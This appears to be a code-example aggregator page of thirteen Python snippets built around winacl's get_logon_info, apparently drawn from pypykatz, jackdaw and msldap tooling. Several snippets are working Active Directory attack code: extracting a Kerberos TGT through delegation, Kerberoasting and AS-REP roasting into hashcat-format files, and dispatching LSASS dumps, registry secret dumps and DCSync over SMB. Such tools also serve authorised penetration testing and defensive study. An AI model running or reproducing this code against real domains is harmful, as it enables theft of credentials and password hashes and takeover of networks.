Beispiel #1
0
	def run_live(self, args):
		from msldap.examples.msldapclient import amain
		from winacl.functions.highlevel import get_logon_info
		info = get_logon_info()

		logonserver = info['logonserver']
		if args.host is not None:
			logonserver = args.host

		la = LDAPCMDArgs()
		la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
		la.verbose = args.verbose

		if args.verbose > 1:
			print('Using the following auto-generated URL: %s' % la.url)
		if args.commands is not None and len(args.commands) > 0:
			la.commands = []
			if args.commands[0] == 'help':
				la.commands = ['help']
			else:
				if args.commands[0] != 'login':
					la.commands.append('login')
				
				for command in args.commands:
					la.commands.append(command)

		asyncio.run(amain(la))
Beispiel #2
0
    async def run_live(self, args):
        if platform.system().lower() != 'windows':
            raise Exception('Live commands only work on Windows!')

        if args.livesmbcommand == 'console':
            from aiosmb.examples.smbclient import amain
            from winacl.functions.highlevel import get_logon_info
            info = get_logon_info()
            la = SMBCMDArgs()
            la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (
                args.protocol_version, args.authmethod, info['domain'],
                info['username'], args.host)
            la.verbose = args.verbose
            #print(la.smb_url)

            if args.commands is not None and len(args.commands) > 0:
                la.commands = []
                if args.commands[0] == 'help':
                    la.commands = ['help']
                else:
                    if args.commands[0] != 'login':
                        la.commands.append('login')

                    for command in args.commands:
                        la.commands.append(command)

            await amain(la)
Beispiel #3
0
def get_ldap_url(authmethod = 'ntlm', host = None):
	from winacl.functions.highlevel import get_logon_info
	info = get_logon_info()

	logonserver = info['logonserver']
	if host is not None:
		logonserver = host

	return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver)
Beispiel #4
0
    def get_tgt(self, target=None):
        if target is None:
            logon = get_logon_info()
            if logon['logonserver'] is None:
                raise Exception(
                    'Failed to get logonserver and no target was specified! This wont work.'
                )
            target = 'cifs/%s' % logon['logonserver']

        ctx = AcquireCredentialsHandle(None, 'kerberos', target,
                                       SECPKG_CRED.OUTBOUND)
        res, ctx, data, outputflags, expiry = InitializeSecurityContext(
            ctx,
            target,
            token=None,
            ctx=ctx,
            flags=ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH
            | ISC_REQ.ALLOCATE_MEMORY)

        if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
            #key_data = sspi._get_session_key()
            raw_ticket = self.export_ticketdata_target(0, target)
            key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key'])
            token = InitialContextToken.load(data[0][1])
            ticket = AP_REQ(token.native['innerContextToken']).native
            cipher = _enctype_table[ticket['authenticator']['etype']]
            dec_authenticator = cipher.decrypt(
                key, 11, ticket['authenticator']['cipher'])
            authenticator = Authenticator.load(dec_authenticator).native
            if authenticator['cksum']['cksumtype'] != 0x8003:
                raise Exception('Checksum not good :(')

            checksum_data = AuthenticatorChecksum.from_bytes(
                authenticator['cksum']['checksum'])
            if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags:
                raise Exception('delegation flag not set!')

            cred_orig = KRB_CRED.load(checksum_data.delegation_data).native
            dec_authenticator = cipher.decrypt(key, 14,
                                               cred_orig['enc-part']['cipher'])
            #info = EncKrbCredPart.load(dec_authenticator).native

            #reconstructing kirbi with the unencrypted data
            te = {}
            te['etype'] = 0
            te['cipher'] = dec_authenticator
            ten = EncryptedData(te)

            t = {}
            t['pvno'] = cred_orig['pvno']
            t['msg-type'] = cred_orig['msg-type']
            t['tickets'] = cred_orig['tickets']
            t['enc-part'] = ten

            cred = KRB_CRED(t)
            return cred.dump()
Beispiel #5
0
def get_smb_url(authmethod='ntlm', protocol_version='2', host=None):
    from winacl.functions.highlevel import get_logon_info
    info = get_logon_info()
    logonserver = info['logonserver']
    if host is not None:
        logonserver = host

    return 'smb%s+sspi-%s://%s\\%s@%s' % (protocol_version, authmethod,
                                          info['domain'], info['username'],
                                          logonserver)
Beispiel #6
0
    async def asreproast(self):
        try:
            target = None
            if self.kerb_url == 'auto':
                from winacl.functions.highlevel import get_logon_info
                logon = get_logon_info()
                if logon['logonserver'] == '':
                    logger.debug(
                        'Failed to detect logonserver! asreproast will not work automagically!'
                    )
                    return True, None

                target = KerberosTarget()
                target.ip = '%s.%s' % (logon['logonserver'],
                                       logon['dnsdomainname'])

            else:
                target = self.kerb_mgr.get_target()

            for uid in self.targets_asreq:
                ar = APREPRoast(target)
                res = await ar.run(self.targets_asreq[uid],
                                   override_etype=[23])
                t = KerberoastTable.from_hash(self.ad_id, uid, res)
                self.db_session.add(t)
                self.total_targets_finished += 1

                if self.progress_queue is not None:
                    msg = GathererProgress()
                    msg.type = GathererProgressType.KERBEROAST
                    msg.msg_type = MSGTYPE.PROGRESS
                    msg.adid = self.ad_id
                    msg.domain_name = self.domain_name
                    msg.total = self.total_targets
                    msg.total_finished = self.total_targets_finished
                    msg.step_size = 1
                    await self.progress_queue.put(msg)

            self.db_session.commit()
            return True, None
        except Exception as e:
            return None, e
Beispiel #7
0
    def run_live(self, args):
        from aiosmb.examples.smbclient import amain
        from winacl.functions.highlevel import get_logon_info
        info = get_logon_info()
        la = SMBCMDArgs()
        la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (
            args.protocol_version, args.authmethod, info['domain'],
            info['username'], args.host)
        la.verbose = args.verbose
        print(la.smb_url)

        if args.commands is not None and len(args.commands) > 0:
            la.commands = []
            if args.commands[0] == 'help':
                la.commands = ['help']
            else:
                if args.commands[0] != 'login':
                    la.commands.append('login')

                for command in args.commands:
                    la.commands.append(command)

        asyncio.run(amain(la))
Beispiel #8
0
	async def do_gather(self, cmd):
		try:
			progress_queue = asyncio.Queue()
			gatheringmonitor_task = asyncio.create_task(self.__gathermonitor(cmd, progress_queue))
			
			ldap_url = cmd.ldap_url
			if ldap_url == 'auto':
				if platform.system().lower() == 'windows':
					from winacl.functions.highlevel import get_logon_info
					logon = get_logon_info()
					
					ldap_url = 'ldap+sspi-ntlm://%s\\%s:jackdaw@%s' % (logon['domain'], logon['username'], logon['logonserver'])
			
				else:
					raise Exception('ldap auto mode selected, but it is not supported on this platform')
			
			smb_url = cmd.smb_url
			if smb_url == 'auto':
				if platform.system().lower() == 'windows':
					from winacl.functions.highlevel import get_logon_info
					logon = get_logon_info()
					smb_url = 'smb2+sspi-ntlm://%s\\%s:jackdaw@%s' % (logon['domain'], logon['username'], logon['logonserver'])
			
				else:
					raise Exception('smb auto mode selected, but it is not supported on this platform')
			
			kerberos_url = cmd.kerberos_url					
			dns = cmd.dns
			if dns == 'auto':
				if platform.system().lower() == 'windows':
					from jackdaw.gatherer.rdns.dnstest import get_correct_dns_win
					srv_domain = '%s.%s' % (logon['logonserver'], logon['dnsdomainname'])
					dns = await get_correct_dns_win(srv_domain)
					if dns is None:
						dns = None #failed to get dns
					else:
						dns = str(dns)
			
				else:
					raise Exception('dns auto mode selected, but it is not supported on this platform')
			print(ldap_url)
			print(smb_url)
			print(dns)
			with multiprocessing.Pool() as mp_pool:
				gatherer = Gatherer(
					self.db_url,
					self.work_dir,
					ldap_url, 
					smb_url,
					kerb_url=kerberos_url,
					ldap_worker_cnt=int(cmd.ldap_workers), 
					smb_worker_cnt=int(cmd.smb_worker_cnt), 
					mp_pool=mp_pool, 
					smb_gather_types=['all'], 
					progress_queue=progress_queue, 
					show_progress=self.show_progress,
					calc_edges=True,
					ad_id=None,
					dns=dns,
					stream_data=cmd.stream_data
				)
				res, err = await gatherer.run()
				if err is not None:
					print('gatherer returned error')
					await self.send_error(cmd, str(err))
					return
				
				#####testing
				await asyncio.sleep(20)
				#######
				
				await self.send_ok(cmd)
		except Exception as e:
			logger.exception('do_gather')
			await self.send_error(cmd, str(e))
		
		finally:
			if gatheringmonitor_task is not None:
				gatheringmonitor_task.cancel()
			progress_queue = None
Beispiel #9
0
async def live_roast(outfile=None):
    try:
        logon = get_logon_info()
        domain = logon['domain']
        url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
        msldap_url = MSLDAPURLDecoder(url)
        client = msldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')
        spn_users = []
        asrep_users = []
        errors = []
        results = []
        final_results = []
        spn_cnt = 0
        asrep_cnt = 0
        async for user, err in client.get_all_knoreq_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        async for user, err in client.get_all_service_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            results = []
            ks = KerberosTarget(domain)
            ar = APREPRoast(ks)
            res = await ar.run(cred, override_etype=[23])
            results.append(res)

        if outfile is not None:
            filename = outfile + 'asreproast_%s_%s.txt' % (
                logon['domain'],
                datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
            with open(filename, 'w', newline='') as f:
                for thash in results:
                    asrep_cnt += 1
                    f.write(thash + '\r\n')
        else:
            final_results += results

        results = []
        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            try:
                ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name,
                                               SECPKG_CRED.OUTBOUND)
                res, ctx, data, outputflags, expiry = InitializeSecurityContext(
                    ctx,
                    spn_name,
                    token=None,
                    ctx=ctx,
                    flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION)
                if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
                    ticket = InitialContextToken.load(
                        data[0][1]).native['innerContextToken']
                else:
                    raise Exception('Error %s' % res.value)
            except Exception as e:
                print(e)
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if outfile is not None:
            filename = outfile + 'spnroast_%s_%s.txt' % (
                logon['domain'],
                datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
            with open(filename, 'w', newline='') as f:
                for thash in results:
                    spn_cnt += 1
                    f.write(thash + '\r\n')

        else:
            final_results += results

        return final_results, errors, None

    except Exception as e:
        return None, None, e
Beispiel #10
0
	async def run_live(self, args):
		if platform.system().lower() != 'windows':
			raise Exception('Live commands only work on Windows!')

		from aiosmb import logger as smblog
		from winacl.functions.highlevel import get_logon_info
		
		info = get_logon_info()
		if args.livesmbcommand != 'shareenum':
			smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (args.protocol_version, args.authmethod, info['domain'], info['username'], args.host)

		if args.verbose == 0:
			smblog.setLevel(100)
		elif args.verbose == 1:
			smblog.setLevel(level=logging.INFO)
		else:
			level = 5 - args.verbose
			smblog.setLevel(level=level)

		if args.livesmbcommand == 'client':
			from aiosmb.examples.smbclient import amain
			
			
			la = SMBCMDArgs()
			la.smb_url = smb_url
			la.verbose = args.verbose

			if args.commands is not None and len(args.commands) > 0:
				la.commands = []
				if args.commands[0] == 'help':
					la.commands = ['help']
				else:
					if args.commands[0] != 'login':
						la.commands.append('login')
					
					for command in args.commands:
						la.commands.append(command)

			await amain(la)


		elif args.livesmbcommand == 'lsassdump':
			from pypykatz.smb.lsassutils import lsassdump
			mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages)
			self.process_results({'smbfile':mimi}, [], args)

		elif args.livesmbcommand == 'secretsdump':
			from pypykatz.smb.lsassutils import lsassdump
			from pypykatz.smb.regutils import regdump
			from pypykatz.smb.dcsync import dcsync

			try:
				mimi = await lsassdump(smb_url, chunksize=args.chunksize, packages=args.packages)
				if mimi is not None:
					self.process_results({'smbfile':mimi}, [], args, file_prefix='_lsass.txt')
			except Exception as e:
				logging.exception('[SECRETSDUMP] Failed to get LSASS secrets')
			
			try:
				po = await regdump(smb_url)
				if po is not None:
					if args.outfile:
						po.to_file(args.outfile+'_registry.txt', args.json)
					else:
						if args.json:
							print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
						else:
							print(str(po))
			except Exception as e:
				logging.exception('[SECRETSDUMP] Failed to get registry secrets')
			

			try:
				if args.outfile is not None:
					outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '')

				async for secret in dcsync(smb_url):
					if args.outfile is not None:
						outfile.write(str(secret))
					else:
						print(str(secret))

			except Exception as e:
				logging.exception('[SECRETSDUMP] Failed to perform DCSYNC')
			finally:
				if args.outfile is not None:
					outfile.close()
		
		elif args.livesmbcommand == 'dcsync':
			from pypykatz.smb.dcsync import dcsync
			
			if args.outfile is not None:
				outfile = open(args.outfile, 'w', newline = '')

			async for secret in dcsync(smb_url, args.username):
				if args.outfile is not None:
					outfile.write(str(secret))
				else:
					print(str(secret))

			if args.outfile is not None:
				outfile.close()
		
		elif args.livesmbcommand == 'regdump':
			from pypykatz.smb.regutils import regdump
			po = await regdump(smb_url)

			if po is not None:
				if args.outfile:
					po.to_file(args.outfile, args.json)
				else:
					if args.json:
						print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
					else:
						print(str(po))

		elif args.livesmbcommand == 'shareenum':
			from pypykatz.smb.shareenum import shareenum

			output_type = 'str'
			if args.json is True:
				output_type = 'json'
			if args.tsv is True:
				output_type = 'tsv'

			exclude_share = []
			if args.es is not None:
				exclude_share = args.es
			
			exclude_dir = []
			if args.ed is not None:
				exclude_dir = args.ed

			ldap_url = 'auto'
			if args.skip_ldap is True:
				ldap_url = None
			
			exclude_target = []
			if args.et is not None:
				exclude_target = args.et
			
			await shareenum(
				smb_url = 'auto',
				targets = args.target, 
				smb_worker_count = args.worker_count, 
				depth = args.depth, 
				out_file = args.out_file, 
				progress = args.progress, 
				max_items = args.maxitems, 
				dirsd = args.dirsd, 
				filesd = args.filesd, 
				authmethod = args.authmethod,
				protocol_version = args.protocol_version,
				output_type = output_type,
				max_runtime = args.max_runtime,
				exclude_share = exclude_share,
				exclude_dir = exclude_dir,
				ldap_url = ldap_url,
				exclude_target = exclude_target,
			)
Beispiel #11
0
async def run_auto():
    try:
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        from winacl.functions.highlevel import get_logon_info

        logon = get_logon_info()
        domain = logon['domain']
        url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
        msldap_url = MSLDAPURLDecoder(url)
        client = msldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')
        spn_users = []
        asrep_users = []
        errors = []
        spn_cnt = 0
        asrep_cnt = 0
        async for user, err in client.get_all_knoreq_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        async for user, err in client.get_all_service_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            results = []
            ks = KerberosTarget(domain)
            ar = APREPRoast(ks)
            res = await ar.run(cred, override_etype=[23])
            results.append(res)

        filename = 'asreproast_%s_%s.txt' % (
            logon['domain'],
            datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
        with open(filename, 'w', newline='') as f:
            for thash in results:
                asrep_cnt += 1
                f.write(thash + '\r\n')

        results = []
        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        filename = 'spnroast_%s_%s.txt' % (
            logon['domain'],
            datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
        with open(filename, 'w', newline='') as f:
            for thash in results:
                spn_cnt += 1
                f.write(thash + '\r\n')

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        print('[+] Done! %s spnroast tickets %s asreproast tickets' %
              (spn_cnt, asrep_cnt))
    except Exception as e:
        print(e)
Beispiel #12
0
    async def run_live(self, args):
        if platform.system().lower() != 'windows':
            raise Exception('Live commands only work on Windows!')

        from aiosmb import logger as smblog

        if args.verbose == 0:
            smblog.setLevel(100)
        elif args.verbose == 1:
            smblog.setLevel(level=logging.INFO)
        else:
            level = 5 - args.verbose
            smblog.setLevel(level=level)

        if args.livesmbcommand == 'console':
            from aiosmb.examples.smbclient import amain
            from winacl.functions.highlevel import get_logon_info
            info = get_logon_info()
            la = SMBCMDArgs()
            la.smb_url = 'smb%s+sspi-%s://%s\\%s@%s' % (
                args.protocol_version, args.authmethod, info['domain'],
                info['username'], args.host)
            la.verbose = args.verbose

            if args.commands is not None and len(args.commands) > 0:
                la.commands = []
                if args.commands[0] == 'help':
                    la.commands = ['help']
                else:
                    if args.commands[0] != 'login':
                        la.commands.append('login')

                    for command in args.commands:
                        la.commands.append(command)

            await amain(la)

        elif args.livesmbcommand == 'shareenum':
            from pypykatz.smb.shareenum import shareenum

            output_type = 'str'
            if args.json is True:
                output_type = 'json'
            if args.tsv is True:
                output_type = 'tsv'

            exclude_share = []
            if args.es is not None:
                exclude_share = args.es

            exclude_dir = []
            if args.ed is not None:
                exclude_dir = args.ed

            ldap_url = 'auto'
            if args.skip_ldap is True:
                ldap_url = None

            exclude_target = []
            if args.et is not None:
                exclude_target = args.et

            await shareenum(
                smb_url='auto',
                targets=args.target,
                smb_worker_count=args.worker_count,
                depth=args.depth,
                out_file=args.out_file,
                progress=args.progress,
                max_items=args.maxitems,
                dirsd=args.dirsd,
                filesd=args.filesd,
                authmethod=args.authmethod,
                protocol_version=args.protocol_version,
                output_type=output_type,
                max_runtime=args.max_runtime,
                exclude_share=exclude_share,
                exclude_dir=exclude_dir,
                ldap_url=ldap_url,
                exclude_target=exclude_target,
            )
Beispiel #13
0
async def run_auto(ldap_worker_cnt=None,
                   smb_worker_cnt=500,
                   dns=None,
                   work_dir='./workdir',
                   db_conn=None,
                   show_progress=True,
                   no_work_dir=False):
    try:
        if platform.system() != 'Windows':
            raise Exception('auto mode only works on windows!')

        smblogger.setLevel(100)
        from winacl.functions.highlevel import get_logon_info
        logon = get_logon_info()

        jdlogger.debug(str(logon))
        if logon['domain'] == '' or logon['logonserver'] == '':
            if logon['domain'] == '':
                logon['domain'] = os.environ['USERDOMAIN']
            if logon['logonserver'] == '':
                logon['logonserver'] = os.environ['LOGONSERVER'].replace(
                    '\\', '')

            if logon['domain'] == '' or logon['logonserver'] == '':
                return False, Exception(
                    "Failed to find user's settings! Is this a domain user?")

        try:
            #checking connection can be made over ldap...
            reader, writer = await asyncio.wait_for(
                asyncio.open_connection(logon['logonserver'], 389), 2)
            writer.close()
        except:
            return False, Exception(
                "Failed to connect to server %s over LDAP" %
                (logon['logonserver']))

        if db_conn is None:
            db_loc = '%s_%s.db' % (logon['domain'], datetime.datetime.utcnow().
                                   strftime("%Y%m%d_%H%M%S"))
            db_conn = 'sqlite:///%s' % db_loc
            create_db(db_conn)
        ldap_url = 'ldap+sspi-ntlm://%s\\%s:jackdaw@%s' % (
            logon['domain'], logon['username'], logon['logonserver'])
        smb_url = 'smb2+sspi-kerberos://%s\\%s:jackdaw@%s' % (
            logon['domain'], logon['username'], logon['logonserver'])

        jdlogger.debug('LDAP connection: %s' % ldap_url)
        jdlogger.debug('SMB  connection: %s' % smb_url)
        if dns is None:
            from jackdaw.gatherer.rdns.dnstest import get_correct_dns_win
            srv_domain = '%s.%s' % (logon['logonserver'],
                                    logon['dnsdomainname'])
            dns = await get_correct_dns_win(srv_domain)
            if dns is None:
                jdlogger.debug('Failed to identify DNS server!')
            else:
                dns = str(dns)
                jdlogger.debug('DNS server selected: %s' % str(dns))

        kerb_url = 'auto'
        with multiprocessing.Pool() as mp_pool:
            gatherer = Gatherer(db_conn,
                                work_dir,
                                ldap_url,
                                smb_url,
                                kerb_url=kerb_url,
                                ldap_worker_cnt=ldap_worker_cnt,
                                smb_worker_cnt=smb_worker_cnt,
                                mp_pool=mp_pool,
                                smb_gather_types=['all'],
                                progress_queue=None,
                                show_progress=show_progress,
                                calc_edges=True,
                                dns=dns,
                                no_work_dir=no_work_dir)
            res, err = await gatherer.run()
            if err is not None:
                raise err
            return True, None
    except Exception as e:
        return False, e